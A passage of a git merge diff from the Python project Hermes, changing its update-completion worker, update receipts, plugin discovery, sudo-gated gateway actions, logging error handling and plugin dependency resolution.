Path(request["source"])+ env = dict(os.environ, HERMES_HOME=request["home"], PYTHONUNBUFFERED="1")+ for key in ("PYTHONPATH", "PYTHONHOME", "VIRTUAL_ENV"):+ env.pop(key, None)+ with tempfile.TemporaryDirectory(prefix="hermes-completion-") as directory:+ request_path = Path(directory) / "request.json"+ result_path = Path(directory) / "result.json"+ request = {**request, "stdout_isatty": sys.stdout.isatty()}+ request["bytecode_cache"] = str(Path(directory) / "bytecode")+ _write_json(request_path, request)+ command = [sys.executable, "-I", "-S", "-u", "-X", f"pycache_prefix={request['bytecode_cache']}",+ str(root / "hermes_cli/update_completion.py"),+ str(request_path), str(result_path)]+ proc = subprocess.Popen(+ command, cwd=root, env=env, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,+ **({"start_new_session": True} if os.name == "posix" else+ {"creationflags": subprocess.CREATE_NO_WINDOW}))+ decoder = codecs.getincrementaldecoder("utf-8")("replace")+ try:+ while True:+ chunk = proc.stdout.read1(8192)+ sys.stdout.write(decoder.decode(chunk, final=not chunk))+ sys.stdout.flush()+ if not chunk:+ break+ code = proc.wait()+ except BaseException as exc:+ # This group/retained process handle belongs exclusively to us.+ # Try to stop descendants before releasing the command's update lock.+ try:+ try:+ if os.name == "posix":+ try:+ os.killpg(proc.pid, signal.SIGKILL) # windows-footgun: ok — os.name == "posix"; own isolated group+ except ProcessLookupError:+ pass+ else:+ subprocess.run(["taskkill", "/T", "/F", "/PID", str(proc.pid)],+ stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL,+ stderr=subprocess.DEVNULL, timeout=10, check=True,+ creationflags=subprocess.CREATE_NO_WINDOW)+ finally:+ # A failed tree kill must not bypass retained-handle cleanup.+ try:+ proc.kill()+ finally:+ proc.wait(timeout=10)+ except BaseException as cleanup_error:+ exc.add_note("Completion cleanup failed; child processes may still be running.")+ raise exc from cleanup_error+ raise+ finally:+ proc.stdout.close()+ code = _exit_status(code)+ try:+ result = json.loads(result_path.read_text(encoding="utf-8-sig"))+ if result["schema"] != 1 or result["update_id"] != request["receipt"]["update_id"]:+ raise ValueError("completion response identity mismatch")+ if result["exit_code"] != code:+ raise ValueError("completion response disagrees with process exit")+ receipt = result.get("receipt")+ if receipt is not None and (+ receipt.get("update_id") != request["receipt"]["update_id"]+ or not receipt.get("finished_at")+ or (code == 0) != (receipt.get("outcome") == "success")+ ):+ raise ValueError("completion receipt does not attest this outcome")+ if code == 0 and receipt is None:+ raise ValueError("completion did not publish a terminal receipt")+ except (OSError, ValueError, KeyError, TypeError) as exc:+ print(f"✗ Source update completion did not finish: {exc}")+ return {"exit_code": code or 1, "receipt": None, "windows_resume": None}+ return result+++def _resume_receipt(data: dict) -> None:+ from hermes_cli import update_receipt++ # Hydrate the existing run, not a new receipt with a new identity/pre-update probe.+ receipt = object.__new__(update_receipt.UpdateReceipt)+ receipt.data = data+ receipt.correlation_id = data["update_id"]+ receipt.current_token = update_receipt._current.set(receipt)+++def _read_terminal_receipt(request: dict) -> dict | None:+ directory = Path(request["home"]) / "logs/update_receipts"+ # Never latest.json: another profile/context may have finalized more recently.+ for path in directory.glob(f"update_*_{request['receipt']['update_id']}.json"):+ data = json.loads(path.read_text(encoding="utf-8-sig"))+ if data.get("update_id") == request["receipt"]["update_id"] and data.get("finished_at"):+ return data+ return None+++def _prepare(request: dict, request_path: Path, result_path: Path) -> int:+ import pm+ from pm import receipt+ from hermes_cli.runtime_paths import activation_environment, selected_venv+ from hermes_constants import venv_python_path++ root = Path(request["source"])+ update_id = request["receipt"]["update_id"]+ with receipt.worker_context(update_id):+ try:+ pm.sync_venv(explicit=True, project_root=root)+ finally:+ request["pm_receipt"] = receipt.last_for_update(update_id)+ _write_json(request_path, request)+ command = [str(venv_python_path(selected_venv(root))),+ "-I", "-S", "-u", "-X", f"pycache_prefix={request['bytecode_cache']}",+ str(root / "hermes_cli/update_completion.py"),+ str(request_path), str(result_path), "--prepared"]+ # A second interpreter is mandatory: PM may have selected a different Python+ # and dependency graph. No application maintenance runs in this bootstrap.+ code = _exit_status(subprocess.call(command, cwd=root, env=activation_environment(root)))+ if not result_path.exists():+ return _failed_result(request, result_path, code)+ return code+++def _complete_selected(request: dict) -> None:+ from hermes_cli import main, update_cmd, update_cmd_config+ from hermes_cli.update_inventory import RuntimeRecord, UpdatePlan+ from hermes_cli.update_cmd_maint import _run_post_update_maintenance+ from hermes_cli.source_build import build_update_products+ from hermes_cli.venv_sync import publish_launchers++ root = Path(request["source"])+ main.PROJECT_ROOT = root+ update_cmd_config._LAST_SIBLING_SNAPSHOTS = request["sibling_snapshots"]+ plan_data = request["plan"]+ plan = None if plan_data is None else UpdatePlan(**{+ **plan_data, "runtimes": [RuntimeRecord(**row) for row in plan_data.get("runtimes", [])]})+ update_cmd._sweep_bytecode_after_update(request["branch"])+ publish_launchers(root)+ build_update_products(root, desktop=request["desktop"])+ if not request.get("completion_message"):+ print("\n✓ Code updated!")+ complete = _run_post_update_maintenance(+ assume_yes=request["assume_yes"], gateway_mode=request["gateway_mode"],+ pre_update_snapshot_id=request["snapshot_id"],+ had_desktop_app_before_update=request["desktop"], pre_update_version=request["pre_update_version"],+ completion_message=request.get("completion_message"))+ # systemctl's KillMode=mixed fallback can kill this whole cgroup. Publish the+ # gateway watcher's status BEFORE that operation, and demote on later failure.+ if request["gateway_mode"]:+ update_cmd._write_gateway_update_exit_code(complete)++ if request.get("no_gateway_restart", False):++ from hermes_cli.update_receipt import record_skip++++ record_skip("gateway_restart", "--no-gateway-restart: deferred, marker kept")++ print("→ Gateway restart deferred (--no-gateway-restart); restart gateways separately.")++ if not complete:++ raise SystemExit(1)++ return+ restart = update_cmd._restart_gateway_fleet_after_update(plan, request["gateway_mode"])+ update_cmd._resume_windows_gateways_and_merge_outcome(restart, request["windows_resume"], request["gateway_mode"])+ update_cmd._verify_fleet_after_update(+ restart, _pre_update_plan=plan, _windows_gateway_resume=request["windows_resume"], update_complete=complete)+++class _ForwardedOutput:+ """The parent's pipe preserves its terminal's prompt policy and log mirror."""++ def __init__(self, stream, isatty: bool):+ self.stream, self.terminal = stream, isatty++ def isatty(self):+ return self.terminal++ def __getattr__(self, name):+ return getattr(self.stream, name)+++def _finish(request: dict, result_path: Path) -> int:+ from hermes_cli import update_receipt+ from pm.receipt import accept_worker_receipt++ _resume_receipt(request["receipt"])+ accept_worker_receipt(request.get("pm_receipt"), request["receipt"]["update_id"])+ code, reason = 0, "source update completion"+ try:+ _complete_selected(request)+ except SystemExit as exc:+ code = _exit_status(exc.code) if isinstance(exc.code, int) else 1+ reason = f"completion exited {code}"+ except BaseException as exc:+ code = _exit_status(exc.returncode) if isinstance(exc, subprocess.CalledProcessError) else 1+ reason = f"{type(exc).__name__}: {exc}"+ print(f"✗ Source update completion failed: {reason}")+ finally:+ if code and request["gateway_mode"]:+ from hermes_cli.update_cmd import _write_gateway_update_exit_code+ _write_gateway_update_exit_code(False)+ # The new interpreter owns recovery too. The original parent's atexit+ # token is updated from the response; it acts only if this process dies.+ try:+ from hermes_cli.update_cmd import _resume_windows_gateways_after_update+ _resume_windows_gateways_after_update(request["windows_resume"])+ except Exception as exc:+ code, reason = 1, f"Windows gateway recovery failed: {exc}"+ print(f"✗ {reason}")+ update_receipt.finalize_pending_update_receipt(code, reason)+ terminal_receipt = _read_terminal_receipt(request)+ if not terminal_receipt:+ code = code or 1+ _write_json(result_path, {+ "schema": 1, "update_id": request["receipt"]["update_id"], "exit_code": code,+ "receipt": terminal_receipt, "windows_resume": request["windows_resume"],+ })+ return code+++def main() -> int:+ request_path, result_path = map(Path, sys.argv[1:3])+ request = json.loads(request_path.read_text(encoding="utf-8-sig"))+ if request["schema"] != 1:+ raise ValueError("unsupported source completion request")+ root = Path(__file__).resolve().parents[1]+ if root != Path(request["source"]).resolve():+ raise ValueError("completion checkout does not match request")+ # -I deliberately ignores inherited PYTHONPATH during PM preparation.+ sys.path.insert(0, str(root))+ sys.stdout = _ForwardedOutput(sys.stdout, request.get("stdout_isatty", False))+ if "--prepared" in sys.argv[3:]:+ # Claim the selected generation's lease and process its .pth files only+ # after PM selection, before importing any application dependencies.+ from hermes_cli.runtime_paths import activate_dependencies+ activate_dependencies(root)+ return _finish(request, result_path)+ try:+ return _prepare(request, request_path, result_path)+ except BaseException as exc:+ # PM failed before application dependencies were ready. Leave the parent+ # receipt and paused-gateway obligation intact for boundary recovery.+ print(f"✗ Source update preparation failed: {exc}")+ code = exc.returncode if isinstance(exc, subprocess.CalledProcessError) else 1+ return _failed_result(request, result_path, code)+++if __name__ == "__main__":+ raise SystemExit(main())diff --cc hermes_cli/update_receipt.pyindex 037363660b9,9a0fd74b7ab..d9cf1a3118a--- a/hermes_cli/update_receipt.py+++ b/hermes_cli/update_receipt.py@@@ -263,51 -197,20 +266,54 @@@ def finalize_update_receipt(outcome: streceipt.data["stop_reason"] = stop_reasonif fleet is not None:receipt.data["fleet"] = fleet+ # EMBED the pm sync sections (the settled receipts contract): the+ # update's rebuild/bisect ran through pm's own sync receipt, which+ # finalizes before this one. Fold in only the completion filed+ # under THIS update's correlation id (pm.receipt.last_for_update,+ # per-context, never latest.json) — a sync from before this update+ # began, a standalone sync, or one in a concurrent thread cannot+ # be misattributed, and a nested update's sync cannot displace+ # this update's own. ONE file still carries the whole story+ # (desktop reads a single latest.json).+ try:+ from pm import receipt as pm_receipt++ sync = pm_receipt.last_for_update(receipt.correlation_id, consume=True)+ if isinstance(sync, dict):+ for key in ("venv_rebuild", "plugin_bisect", "feature_list", "steps", "exit_code"):+ if sync.get(key) is not None:+ receipt.data[f"pm_{key}"] = sync[key]+ if sync.get("outcome") is not None:+ receipt.data["pm_sync_outcome"] = sync.get("outcome")+ if sync.get("warnings"):+ receipt.data["pm_warnings"] = sync["warnings"]+ if sync.get("refusal") is not None:+ receipt.data["pm_refusal"] = sync["refusal"]+ except Exception as exc: # pragma: no cover — embedding is additive+ logger.debug("pm sync-section embed skipped: %s", exc)directory = _receipt_dir()directory.mkdir(parents=True, exist_ok=True)- path = directory / f"update_{time.strftime('%Y%m%d_%H%M%S')}_{os.getpid()}.json"- body = json.dumps(receipt.data, indent=2, default=str)- path.write_text(body, encoding="utf-8")- with suppress(OSError): # stable pointer for the dashboard/desktop- (directory / "latest.json").write_text(body, encoding="utf-8")+ # Unique name: stamp+pid collides for nested/concurrent receipts in+ # the same process+second — the correlation id makes the name unique+ # per update run. Atomic write for BOTH the stamped receipt and the+ # latest.json pointer (no torn readers).+ from hermes_cli.runtime_state import _atomic_bytes++ path = directory / (+ f"update_{time.strftime('%Y%m%d_%H%M%S')}_{os.getpid()}_"+ f"{receipt.correlation_id}.json"+ )+ payload = (json.dumps(receipt.data, indent=2, default=str) + "\n").encode("utf-8")+ _atomic_bytes(path, payload)+ with suppress(Exception): # stable pointer for the dashboard/desktop+ _atomic_bytes(directory / "latest.json", payload)_prune_old_receipts(directory)return path- except Exception as exc: # pragma: no cover - defensive- logger.debug("Could not write update receipt: %s", exc)+ except Exception as exc:+ # Visible, not debug: a run that pulled code and left no receipt is exactly the run+ # operators need to post-mortem, and INFO-level logs discard debug (#112465, #112558).+ logger.warning("Could not write update receipt (%s): %s", outcome, exc)+ print(f" ⚠ Update receipt not written: {exc}")return Nonediff --cc hermes_cli/web_server_dashboard.pyindex cfd7d615718,e99ef1c7735..56396182fca--- a/hermes_cli/web_server_dashboard.py+++ b/hermes_cli/web_server_dashboard.py@@@ -540,16 -540,20 +540,20 @@@ def _discover_dashboard_plugins() -> liplugins = []seen_names: set = set()for plugins_root, source in _dashboard_plugin_search_dirs():- if not plugins_root.is_dir():+ try:+ if not plugins_root.is_dir():+ continue+ with os.scandir(plugins_root) as scan:+ children = sorted((Path(e.path) for e in scan), key=lambda p: p.name)+ except OSError as exc:+ _log.warning("Skipping unreadable dashboard plugin root %s: %s", plugins_root, exc)continue- with os.scandir(plugins_root) as scan:- children = sorted((Path(e.path) for e in scan), key=lambda p: p.name)for child in children:manifest_file = child / "dashboard" / "manifest.json"- if not child.is_dir() or not manifest_file.exists():- continuetry:+ if not child.is_dir() or not manifest_file.exists():+ continue- data = json.loads(manifest_file.read_text(encoding="utf-8"))+ data = json.loads(manifest_file.read_text(encoding="utf-8-sig"))name = data.get("name", child.name)if name in seen_names:continuediff --cc hermes_cli/web_server_gateway.pyindex bc1a58032d0,cc9c94ab5a3..ce762b2d5f5--- a/hermes_cli/web_server_gateway.py+++ b/hermes_cli/web_server_gateway.py@@@ -372,8 -449,28 +417,29 @@@ def _spawn_hermes_actionlog_file = open(_ACTION_LOG_DIR / _ACTION_LOG_FILES[name], "ab", buffering=0)log_file.write(f"\n=== {name} started {time.strftime('%Y-%m-%d %H:%M:%S')} ===\n".encode())- cmd = [_dashboard_spawn_executable(), "-m", "hermes_cli.main", *subcommand]+ from hermes_cli._launchers import runtime_command+ cmd = runtime_command(PROJECT_ROOT, subcommand)+ if _action_targets_system_gateway(subcommand):+ # A system-scope lifecycle verb spawned as the dashboard's own user can only ever write+ # "System gateway <verb> requires root" into this log, so the button never worked on a+ # system install (#110820). Elevate — the CLI is sudo-aware: it adopts the unit's+ # HERMES_HOME past sudo's env_reset and reads SUDO_USER for the service identity.+ # ``-n`` never prompts (stdin is DEVNULL anyway); without a passwordless path the+ # REQUEST fails instead of reporting a started action whose child refuses. Same+ # two-step gate as the ``hermes update`` fleet restart: a refused blanket probe falls+ # back to ``sudo -l`` on the exact argv, so a command-scoped NOPASSWD entry qualifies.+ from hermes_cli.update_cmd_fleet import _sudo_noninteractive_ok++ if not _sudo_noninteractive_ok(["-l", "--", *cmd]):+ message = (+ f"{name} targets the system-scope gateway service, which requires root, and "+ "passwordless sudo is unavailable for the dashboard user. Run "+ f"'sudo hermes {' '.join(subcommand)}' on the host, or grant that user NOPASSWD sudo."+ )+ log_file.write(f"{message}\n".encode())+ log_file.close()+ raise RuntimeError(message)+ cmd = ["sudo", "-n", *cmd]# Named-profile actions get a scrubbed, pinned environment so the child cannot inherit the# dashboard profile's credentials; see _profile_action_environment (also drops _HERMES_GATEWAY).action_env = _profile_action_environment(subcommand, env_overrides)diff --cc hermes_logging.pyindex 15fe9ecaf85,415e0c870b8..e1d4ccef027--- a/hermes_logging.py+++ b/hermes_logging.py@@@ -137,33 -81,14 +137,41 @@@ def _is_windows_concurrent_log_lock_tim)+_windows_lock_timeout_warned = False+_windows_lock_timeout_warn_lock = threading.Lock()+++def _warn_windows_lock_timeout_once() -> None:+ """Report a suppressed CLH lock timeout exactly once per process.++ Every emit after the first failure raises the same RuntimeError, so the+ warning must be one-shot or it would spam errors.log as badly as the+ stderr noise it replaces. CLH does not chain the underlying cause (the+ RuntimeError is raised outside the except, from the retry loop's else+ clause), so the message cannot include it; a constantly repeating timeout+ means file logging is degraded — the startup portalocker probe in this+ module should have caught a dead portalocker and fallen back already.+ """+ global _windows_lock_timeout_warned+ with _windows_lock_timeout_warn_lock:+ if _windows_lock_timeout_warned:+ return+ _windows_lock_timeout_warned = True+ logging.getLogger("hermes_logging").warning(+ "concurrent-log-handler timed out acquiring the cross-process log "+ "lock; this and later records were dropped (the Desktop slash-worker "+ "surface stays clean, but file logging is degraded)."+ )+++ def _is_unavailable_log_stream(exc: BaseException | None) -> bool:+ """True when a file handler lost its backing stream during teardown or I/O."""+ return (+ (isinstance(exc, OSError) and exc.errno == 5)+ or (isinstance(exc, ValueError) and "closed file" in str(exc).lower())+ )++# Third-party loggers that are noisy at DEBUG/INFO level._NOISY_LOGGERS = ("openai", "openai._base_client", "httpx", "httpcore", "asyncio", "hpack", "hpack.hpack",@@@ -260,9 -216,15 +299,16 @@@ def setup_logging``gateway.log`` and ``mode="gui"`` adds ``gui.log``."""global _logging_initialized+ global _fallback_warnedhome = hermes_home or get_hermes_home()log_dir = mkdir_under_hermes_home(home / "logs")+ # A second Hermes home in a process that already logs for another one — a dashboard or+ # ``hermes serve`` backend building agents for several profiles, a multiplexed gateway —+ # gets routed by record home. Stacking another file handler here would hand it EVERY+ # profile's records (the handlers carry no home filter), and a duplicate writer on top of+ # an existing router.+ if _adopt_secondary_home(home):+ return log_dircfg_level, cfg_max_size, cfg_backup = _read_logging_config()level_name = (log_level or cfg_level or "INFO").upper()level = getattr(logging, level_name, logging.INFO)@@@ -416,12 -374,24 +468,26 @@@ class _ManagedRotatingFileHandler(RotatCLH's ``emit()`` routes that RuntimeError here, so this is the single point tosilence it before stdlib prints to stderr (which the Desktop slash-worker- captures into chat output).+ captures into chat output). Silencing is not silent: warn once through the+ logging system so a wedged lock is visible in the logs instead of a black hole."""- if _is_windows_concurrent_log_lock_timeout(sys.exc_info()[1]):+ exc = sys.exc_info()[1]+ if _is_windows_concurrent_log_lock_timeout(exc):+ _warn_windows_lock_timeout_once()return+ if _is_unavailable_log_stream(exc):+ # The QueueListener must not turn a failing log destination into a traceback for+ # every queued record. Name the path once, drop the stale stream; the next emit+ # reopens it if the destination has recovered.+ if not self._unavailable_reported:+ self._unavailable_reported = True+ _quietly(lambda: print(+ f"hermes_logging: {self.baseFilename} unavailable ({exc}); "+ "file logging paused until it recovers", file=_safe_stderr()))+ if self.stream is not None:+ _quietly(self.stream.close)+ self.stream = None # type: ignore[assignment]+ returnsuper().handleError(record)def _open(self):diff --cc plugins/memory/__init__.pyindex 1aebf47ea5e,bf2c6dab507..2d4ac5a6778--- a/plugins/memory/__init__.py+++ b/plugins/memory/__init__.py@@@ -62,12 -62,13 +62,13 @@@ def _get_project_plugins_dir() -> Optiodef _is_memory_provider_dir(path: Path) -> bool:"""Cheap text heuristic (no import): ``__init__.py`` mentions the memory provider contract."""init_file = path / "__init__.py"- if not init_file.exists():- return Falsetry:+ if not init_file.exists():+ return False- source = init_file.read_text(errors="replace", encoding="utf-8")[:8192]+ source = init_file.read_text(errors="replace", encoding="utf-8-sig")[:8192]return "register_memory_provider" in source or "MemoryProvider" in source- except Exception:+ except OSError as exc: # one mode-000 / ACL-denied child must not abort discovery+ logger.warning("Skipping unreadable plugin directory %s: %s", path, exc)return Falsediff --cc plugins/memory/supermemory/plugin.yamlindex fb9837b4104,afb2cf0f483..a5710181be8--- a/plugins/memory/supermemory/plugin.yaml+++ b/plugins/memory/supermemory/plugin.yaml@@@ -1,4 -1,5 +1,4 @@@name: supermemoryversion: 1.0.1- description: "Supermemory semantic long-term memory with profile recall, semantic search, explicit memory tools, and session ingest."+ description: "Supermemory semantic long-term memory with profile recall, semantic search, explicit memory tools, and per-turn conversation capture."-pip_dependencies:- - supermemory+extra: supermemorydiff --cc pm/plugin_declarations.pyindex 7a2f288a5af,00000000000..2acfa1991bbmode 100644,000000..100644--- a/pm/plugin_declarations.py+++ b/pm/plugin_declarations.py@@@ -1,107 -1,0 +1,139 @@@+"""Read plugin build declarations without importing CLI configuration or plugin code."""+from __future__ import annotations++from dataclasses import dataclass+from pathlib import Path+import tomllib+++def native_manifest_file(plugin_dir: Path) -> Path | None:+ for path in (plugin_dir / "plugin.yaml", plugin_dir / "plugin.yml"):+ try:+ path.stat()+ except FileNotFoundError:+ continue+ except OSError as exc:+ raise ValueError(f"Could not inspect plugin manifest {path}: {exc}") from exc+ return path+ return None+++def read_native_manifest(path: Path) -> dict:+ import hermes_yaml as yaml++ try:+ data = yaml.safe_load(path.read_text(encoding="utf-8-sig"))+ except (OSError, UnicodeError, yaml.YAMLError) as exc:+ raise ValueError(f"Could not read plugin manifest {path}: {exc}") from exc+ if data is None:+ return {}+ if not isinstance(data, dict):+ raise ValueError(f"Plugin manifest must be a mapping: {path}")+ return data+++def manifest_version_error(manifest: dict, name: str) -> str | None:+ from hermes_cli.plugins_manifest import SUPPORTED_MANIFEST_VERSION, requires_hermes_error++ reason = requires_hermes_error(manifest)+ if reason:+ return f"Plugin '{name}' {reason}"+ version = manifest.get("manifest_version")+ if version is None:+ return None+ try:+ parsed = int(version)+ except (TypeError, ValueError):+ return f"Plugin '{name}' has invalid manifest_version '{version}' (expected an integer)."+ if parsed > SUPPORTED_MANIFEST_VERSION:+ return (f"Plugin '{name}' requires manifest_version {version}, "+ f"but this installer only supports up to {SUPPORTED_MANIFEST_VERSION}.")+ return None+++@dataclass(frozen=True)+class PythonDeclaration:+ files: tuple[Path, ...]+ pyproject: Path | None+ requirements: tuple[str, ...]+ manifest: dict+++ @property++ def external(self) -> bool:++ return str(self.manifest.get("python_runtime") or "").strip().lower() == "external"++++ @property++ def install_requirements(self) -> tuple[str, ...]:++ return () if self.external else applicable_requirements(self.requirements)+++ @property+ def is_member(self) -> bool:- return self.pyproject is not None or bool(self.requirements)++ return not self.external and (self.pyproject is not None or bool(self.install_requirements))++++ def __post_init__(self) -> None:++ if not self.external:++ applicable_requirements(self.requirements)++++++def applicable_requirements(specs: tuple[str, ...] | list[str]) -> tuple[str, ...]:++ """Index requirements only; let uv evaluate markers for the target interpreter.++++ The application checkout supplies Hermes itself. Installing it from an index++ would replace that checkout; direct URLs bypass the reviewed package source.++ Markers must survive snapshots built for a different Python or platform.++ """++ from packaging.requirements import Requirement++ from packaging.utils import canonicalize_name++++ return tuple(spec for spec in specs++ if not (req := Requirement(spec)).url and canonicalize_name(req.name) != "hermes-agent")++++++def unsupported_requirements(specs: tuple[str, ...] | list[str]) -> tuple[str, ...]:++ from packaging.requirements import Requirement++++ return tuple(spec for spec in specs if Requirement(spec).url)+++def read_python_declaration(plugin_dir: Path) -> PythonDeclaration:+ """One effective surface for consent, membership, builds and currency.++ A real pyproject owns packaging. Legacy manifests bridge plugins without+ one, including old PM-generated pyprojects. Both YAML suffixes and both+ dependency aliases have identical semantics. Reading never initializes a+ home, discovers code, or depends on the caller's CLI import state.+ """+ native = native_manifest_file(plugin_dir)+ files = [native] if native is not None else []+ manifest = read_native_manifest(native) if native is not None else {}+ if native is None:+ portable = plugin_dir / "plugin.json"+ try:+ portable.lstat()+ except FileNotFoundError:+ pass+ else:+ from hermes_cli.agent_plugins import read_agent_plugin_manifest++ manifest, _diagnostics = read_agent_plugin_manifest(plugin_dir)+ files.append(portable)+ project = plugin_dir / "pyproject.toml"+ try:+ text = project.read_text(encoding="utf-8-sig")+ except FileNotFoundError:+ text = None+ if text is not None:+ files.append(project)+ if "GENERATED by pm" not in text:+ document = tomllib.loads(text)+ specs = document.get("project", {}).get("dependencies", [])+ if not isinstance(specs, list) or any(not isinstance(v, str) for v in specs):+ raise ValueError(f"invalid project.dependencies: {project}")+ return PythonDeclaration(tuple(files), project, tuple(specs), manifest)+ specs = []+ for key in ("pip_dependencies", "python_dependencies"):+ values = manifest.get(key, [])+ if not isinstance(values, list) or any(not isinstance(v, str) for v in values):+ raise ValueError(f"invalid {key}: {native}")+ specs.extend(values)+ return PythonDeclaration(tuple(files), None, tuple(dict.fromkeys(specs)), manifest)diff --cc pm/workspace.pyindex 6b2fad5e97e,00000000000..3976332ad0emode 100644,000000..100644--- a/pm/workspace.py+++ b/pm/workspace.py@@@ -1,319 -1,0 +1,322 @@@+"""Resolve core plus plugin requirements in a writable build snapshot.++Shipped source and locks are inputs, never mutation targets. Candidate+failure propagates without changing plugin configuration or the live venv.+"""++from __future__ import annotations++import hashlib+import os+import shutil+from collections.abc import Mapping+from pathlib import Path+from typing import TYPE_CHECKING, Optional++if TYPE_CHECKING:+ from pm.environment import PythonEnvironment++from pm import paths+from pm.package import InstallError+from pm.plugin_declarations import read_python_declaration, manifest_version_error++_MEMBER_EXCLUDE = frozenset({".git", ".venv", "venv", "node_modules", "__pycache__"})+++def _member_ignored(directory, names):+ return [name for name in names if name in _MEMBER_EXCLUDE or name.endswith(".egg-info")]+++class ResolutionConflict(InstallError):+ """uv's resolver proved the union has no valid solution."""+++# Markers uv prints ONLY when the resolver itself proves no solution+# exists (its conflict report: "Because ...", "no solution found").+# Deliberately narrow: a fetch timeout or index outage must not be+# misread as a conflict — and regardless of classification, nothing+# here ever disables a plugin; the caller decides.+_RESOLVER_MARKERS = (+ "no solution found",+ "conflicting requirements",+ "conflicting urls",+ "because only the following versions",+ "and your pyproject depends on",+)+++def classify_uv_failure(stage: str, returncode: int, output: str) -> InstallError:+ """Turn a failed `uv <stage>` into the right classified error.++ Resolver-conflict output → ResolutionConflict; anything else (fetch,+ build, tooling) → plain InstallError with the tail of the output.+ """+ cause = f"uv {stage} exited {returncode}: {output.strip()[-600:]}"+ lowered = output.lower()+ if any(marker in lowered for marker in _RESOLVER_MARKERS):+ return ResolutionConflict("venv", cause)+ return InstallError("venv", cause)+++def member_sources(plugin_dirs) -> dict[Path, Path]:+ """Map installed identities to build inputs, including staged plugin updates."""+ rows = plugin_dirs.items() if isinstance(plugin_dirs, Mapping) else ((path, path) for path in plugin_dirs)+ return {Path(identity).resolve(): Path(source).resolve() for identity, source in rows}+++def members_stamp(plugin_dirs) -> str:+ """Hash the member inputs copied into a generation, independent of staging paths."""+ h = hashlib.sha256()+ for identity, entry in sorted(member_sources(plugin_dirs).items()):+ h.update(str(identity).encode("utf-8"))+ h.update(b"\0")+ declaration = read_python_declaration(entry)+ for source in declaration.files:+ h.update(source.name.encode("utf-8"))+ h.update(source.read_bytes())+ h.update(b"\0")+ if (entry / "pyproject.toml").is_file():+ for directory, dirs, files in os.walk(entry):+ dirs[:] = sorted(set(dirs) - set(_member_ignored(directory, dirs)))+ for name in sorted(set(files) - set(_member_ignored(directory, files))):+ path = Path(directory) / name+ h.update(path.relative_to(entry).as_posix().encode())+ h.update(b"\0")+ h.update(os.readlink(path).encode() if path.is_symlink() else path.read_bytes())+ h.update(b"\0")+ return h.hexdigest()+++def _copy_core_inputs(source: Path, destination: Path) -> None:+ """Build from a writable snapshot, never from signed/read-only source."""+ import fnmatch+ import tomllib++ metadata = tomllib.loads((source / "pyproject.toml").read_text(encoding="utf-8-sig"))+ project = metadata.get("project", {})+ setuptools = metadata.get("tool", {}).get("setuptools", {})+ patterns = setuptools.get("packages", {}).get("find", {}).get("include", ["*"])+ package_roots = {pattern.split(".", 1)[0] for pattern in patterns}+ files = {"pyproject.toml", "setup.py", "setup.cfg"}+ readme = project.get("readme")+ if isinstance(readme, str):+ files.add(readme)+ elif isinstance(readme, dict) and "file" in readme:+ files.add(readme["file"])+ for pattern in project.get("license-files", []):+ files.update(str(p.relative_to(source)) for p in source.glob(pattern))+ files.update(p.name for p in source.glob("*.py"))++ excluded = {".git", ".venv", "venv", "node_modules", "__pycache__", "build", "dist", "release", "uv.lock"}+ def ignore(directory, names):+ return [name for name in names if name in excluded or name.startswith(".")+ or name.endswith(".egg-info") or (Path(directory) / name).is_symlink()]++ for entry in source.iterdir():+ if (entry.is_dir() and not entry.is_symlink() and entry.name not in excluded+ and not entry.name.startswith(".") and entry.resolve() != destination.resolve()+ and any(fnmatch.fnmatchcase(entry.name, pattern) for pattern in package_roots)):+ target = destination / entry.name+ shutil.copytree(entry, target, ignore=ignore)+ for name in files:+ entry = source / name+ if not entry.is_file() or entry.is_symlink():+ continue+ if not entry.resolve().is_relative_to(source.resolve()):+ raise InstallError("venv", f"build input escapes the core project: {name}")+ target = destination / name+ target.parent.mkdir(parents=True, exist_ok=True)+ shutil.copy2(entry, target)+++def _generate_pyproject(plugin_dirs: list[Path] | Mapping[Path, Path], root: Path, *, source: Path) -> None:+ """Snapshot core and plugin build inputs into a fresh generation."""+ source = source.resolve()+ if root.resolve() == source or source.is_relative_to(root.resolve()):+ raise InstallError("venv", "workspace must not replace the core source")+ root.mkdir(parents=True)++ core_pyproject = source / "pyproject.toml"+ core_text = core_pyproject.read_text(encoding="utf-8-sig")++ members = [_workspace_member(source, root, identity=identity).relative_to(root).as_posix()- for identity, source in member_sources(plugin_dirs).items()]++ for identity, source in member_sources(plugin_dirs).items()++ if _is_member_candidate(source)]++ lines = [core_text.rstrip("\n")]+ if members:+ lines.append("")+ lines.append("[tool.uv.workspace]")+ lines.append("members = [" + ", ".join(f'"{m}"' for m in sorted(members)) + "]")++ text = "\n".join(lines) + "\n"+ target = root / "pyproject.toml"+ _copy_core_inputs(source, root)+ target.write_text(text, encoding="utf-8")+++def _is_member_candidate(plugin_dir: Path) -> bool:+ return read_python_declaration(plugin_dir).is_member+++def enabled_plugin_dirs(*, proposed_home=None, enabled=None, disabled=None, installing: Path | None = None) -> list[Path]:+ """Resolve the effective plugin selection without filtering dependency declarations."""+ from pm.plugins_state import _is_directory, enabled_plugins_ordered++ selection = enabled_plugins_ordered(+ proposed_home=proposed_home, enabled=enabled, disabled=disabled, installing=installing,+ )+ members = []+ for plugins_dir, names in selection.items():+ for name in names:+ relative = Path(name)+ if relative.is_absolute() or ".." in relative.parts:+ raise InstallError("venv", f"invalid plugin key: {name}")+ plugin_dir = plugins_dir / relative+ proposed = installing is not None and plugin_dir.resolve() == installing.resolve()+ if not proposed and not _is_directory(plugin_dir):+ plugin_dir = paths.repo_root() / "plugins" / relative+ if proposed or _is_directory(plugin_dir):+ members.append(plugin_dir)+ return list(dict.fromkeys(members))+++def enabled_member_dirs(*, proposed_home=None, enabled=None, disabled=None) -> list[Path]:+ """Keep every selected member or refuse an incompatible selection."""+ selected = enabled_plugin_dirs(proposed_home=proposed_home, enabled=enabled, disabled=disabled)+ members = []+ for path in selected:+ declaration = read_python_declaration(path)+ reason = manifest_version_error(declaration.manifest, path.name)+ if reason:+ raise InstallError("venv", reason)+ if declaration.is_member:+ members.append(path)+ return members+++def _workspace_member(plugin_dir: Path, root: Path, *, identity: Path) -> Path:+ """Keep workspace members with their generation, not a temporary install clone."""+ import json+ import tomllib++ key = hashlib.sha256(str(identity.resolve()).encode()).hexdigest()[:16]+ declaration = read_python_declaration(plugin_dir)+ pyproject = declaration.pyproject+ if pyproject is not None:+ member = root / "plugin-sources" / key+ shutil.copytree(plugin_dir, member, symlinks=True,+ ignore=_member_ignored)+ document = 